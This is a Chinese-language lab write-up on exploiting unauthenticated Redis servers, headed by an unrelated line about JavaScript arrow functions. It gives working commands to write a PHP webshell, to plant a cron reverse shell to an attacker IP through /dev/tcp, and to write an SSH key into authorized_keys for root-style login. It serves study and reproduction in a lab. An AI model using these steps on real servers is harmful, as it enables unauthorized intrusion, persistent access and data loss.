Js箭頭函式適用場景及需要注意的地方
漏洞原理
Redis 預設情況下,會繫結在 0.0.0.0:6379,如果沒有進行採用相關的策略,比如新增防火牆規則避免其他非信任來源 ip 訪問等,這樣將會將 Redis 服務暴露到公網上,如果在沒有設定密碼認證(一般為空)的情況下,會導致任意使用者在可以訪問目標伺服器的情況下未授權訪問 Redis 以及讀取 Redis 的資料。攻擊者在未授權訪問 Redis 的情況下,利用 Redis 自身的提供的config 命令,可以進行寫檔案操作,攻擊者可以成功將自己的ssh公鑰寫入目標伺服器的 /root/.ssh
資料夾的authotrized_keys
檔案中,進而可以使用對應私鑰直接使用ssh服務登入目標伺服器。
利用條件
- redis繫結在 0.0.0.0:6379,且沒有進行新增防火牆規則避免其他非信任來源 ip 訪問等相關安全策略,直接暴露在公網
- 沒有設定密碼認證(一般為空),可以免密碼遠端登入redis服務
漏洞危害
- 攻擊者無需認證訪問到內部資料,可能導致敏感資訊洩露,黑客也可以惡意執行flushall來清空所有資料
- 攻擊者可通過
eval
執行lua程式碼,或通過資料備份功能往磁碟寫入後門檔案 - 最嚴重的情況,如果Redis以root身份執行,黑客可以給root賬戶寫入SSH公鑰檔案,直接通過SSH登入受害伺服器
漏洞復現
搭建測試環境
受害機Ubuntu 20.04
- 安裝php:
sudo apt install php7.4-cli libapache2-mod-php
- 安裝apache2:
sudo apt install apache2
。並啟動apache服務:sudo service apache2 start
。 - 安裝redis,環境需要4.x/5.x以下的redis版本,這裡下載3.2版本的,並解壓、編譯:
$ wget http://download.redis.io/releases/redis-3.2.11.tar.gz $ tar -zxvf redis-3.2.11.tar.gz $ cd redis-3.2.11 $ make
如果
make
時遇到以下報錯,需要安裝gcc,並設定啟動引數:
錯誤資訊如下:
/bin/sh: cc: command not found
解決辦法,安裝gcc:
sudo apt install gcc
然後設定make啟動引數後即可執行:
make MALLOC=libc
- 編譯完成後,進入src目錄下,複製
redis-cli
和redis-server
到/usr/bin/
目錄下:$ cd src $ sudo cp redis-cli redis-server /usr/bin/
- 回到
redis-3.2.11
目錄中,複製redis.conf
檔案到/etc/
目錄下:$ cd .. $ sudo cp redis.conf /etc/
使用sudo vim /etc/redis.conf
編輯配置檔案,將61行的IP註釋起來,表示外網可訪問,如下:
然後將80行的yes
改為no
,表示關閉保護模式,如下:
然後儲存退出。
-
使用
redis-server /etc/redis.conf
啟動redis服務:
-
開啟一個新的終端,在視窗使用
redis-cli
命令,測試能否正常連線redis:
-
使用
quit
退出redis命令列,然後在Ubuntu終端中開啟ssh服務,確保後面能使用ssh進行連線:$ sudo service ssh start
攻擊機Kali 2021.1
只要能連上redis即可,需要有redis-cli
命令,如果沒有redis,需要進行安裝:
bash $ sudo apt install redis-tools
利用redis寫入webshell
利用條件
- 伺服器開著web服務
- redis有web目錄寫許可權,可以往web路徑寫入檔案
利用過程
- 測試使用Kali連線Ubuntu的redis服務:
$ redis-cli -h 192.168.101.6
如果成功連線上受害機,說明受害機存在redis未授權訪問漏洞。
-
redis可以寫入檔案。使用
config get dir
命令可以檢視寫入檔案的目錄,並且可以用來修改寫入檔案的目錄。如下:
因為web服務無法訪問到/home
目錄下的內容,所以需要修改redis儲存檔案的路徑,將其修改到網站的根目錄下,也就是 預設的/var/www/html
目錄。因此redis需要具有對/var/www/html
寫入的許可權,使用config set dir /var/www/html
來修改dir的值:
-
然後使用redis寫入檔案:
$ config set dbfilename shell.php $ set xxx "<?php phpinfo(); ?>" $ save
然而並不能寫入檔案,結果如下:
具體原因是因為redis對web根目錄沒有寫入許可權,這是一個比較重要的點,也是能否利用未授權訪問來getshell的因素之一。為了測試,此時需要手動在受害機網站根目錄中,新建一個其他使用者具有可寫入許可權的資料夾,然後再將redis儲存檔案的dir值修改為新建資料夾的路徑:
此時再次進行寫入,可以看到已經儲存成功了:
-
成功寫入檔案後可以在受害機中進行檢視:
-
現在在瀏覽器中訪問這個頁面試試:
-
從上面的訪問結果可以看出我們寫入的php程式碼已經成功執行並返回。再次寫入檔案,將一句話木馬寫入到目錄中:
-
訪問webshell頁面:
-
使用蟻劍連線webshell:
利用redis反彈shell
原理:在攻擊機上開啟nc反彈埠監聽,通過redis未授權訪問漏洞,寫入Linux定時計劃,反彈shell。
利用條件
- 對
/var/spool/cron
資料夾有寫入許可權
利用過程
- 首先在攻擊機監聽一個埠:
$ nc -lvnp 6666
- 在攻擊機開啟新的命令列視窗,連線受害機的redis服務,然後執行下面的命令:
$ set x "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.101.8/6666 0>&1\n\n\n" $ config set dir /var/spool/cron/ $ config set dbfilename root $ save
注意此處的計劃任務命令,如果在Ubuntu中,是無法反彈shell的,原因是因為ubuntu會將redis寫入的快取亂碼當作命令來解釋,導致執行不成功。而centos不會對亂碼進行解釋,可以成功執行反彈shell的命令。
- 可以在受害機檢視檔案是否儲存成功:
但是在ubuntu下無法反彈shell,這是由於redis向任務計劃檔案裡寫內容出現亂碼而導致的語法錯誤,而亂碼是避免不了的,centos會忽略亂碼去執行格式正確的任務計劃,而ubuntu並不會忽略這些亂碼,所以導致命令執行失敗,因為自己如果不使用redis寫任務計劃檔案,而是正常向
/etc/cron.d
目錄下寫任務計劃檔案的話,命令是可以正常執行的,所以還是亂碼的原因導致命令不能正常執行,而這個問題是不能解決的,因為利用redis未授權訪問寫的任務計劃檔案裡都有亂碼,這些程式碼來自redis的快取資料。
利用redis寫入ssh公鑰
利用條件
- 受害機必須有
~/.ssh
資料夾,無論是普通使用者還是root使用者,否則無法在redis中設定dir的值
直接使用
~/.ssh
是不行的,需要絕對路徑。
- 另一個條件就是需要知道家目錄的名稱,比如上面的
/home/unravel/.ssh
,必須知道unravel
利用過程
- 首先在攻擊機生成ssh公鑰,用於連線受害機時來使用私鑰驗證登陸:
$ ssh-keygen
- 將公鑰開頭和結尾新增兩行換行,並存儲為新的文字檔案,用於redis在連線時寫入的內容。新增兩個換行的原因是對redis快取垃圾資料和公鑰的內容分隔開來,以免ssh連線失敗。可以使用bash命令來完成這個操作:
(echo -e "\n\n";cat ~/.ssh/id_rsa.pub;echo -e "\n\n") > key.txt
- 使用攻擊機連線受害機時寫入變數
x
,x
儲存攻擊機的公鑰:cat key.txt | redis-cli -h 192.168.101.6 -x set x
- 使用攻擊機連線受害機redis,將寫入的檔案路徑設定為
/home/unravel/.ssh
,並設定儲存的檔名稱為authorized_keys
:
注意
authorized_keys
名稱是固定的,不能隨便改,否則連線不上ssh
bash $ config set dir /home/unravel/.ssh $ config set dbfilename authorized_keys $ save
-
然後在受害機檔案中檢視一下:
-
在攻擊機嘗試使用本地私鑰對受害機進行連線:
$ ssh [email protected] -i ~/.ssh/id_rsa
總結
Redis在實戰中算是比較常用的埠利用了。除了反彈shell的方法在測試的時候沒有實現getshell以外,還有一種主從複製的方式,後面有空補上。
參考連結:https://paper.seebug.org/975/